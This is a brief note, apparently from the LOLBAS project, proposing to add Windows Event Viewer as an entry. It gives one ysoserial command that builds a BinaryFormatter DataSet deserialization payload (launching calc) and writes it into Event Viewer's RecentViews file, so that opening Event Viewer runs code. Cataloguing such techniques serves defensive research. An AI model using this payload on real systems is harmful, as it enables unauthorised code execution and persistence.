LOLBAS
LOLBAS copied to clipboard
Investigate adding Windows Event Viewer
Payload generation command below.
ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews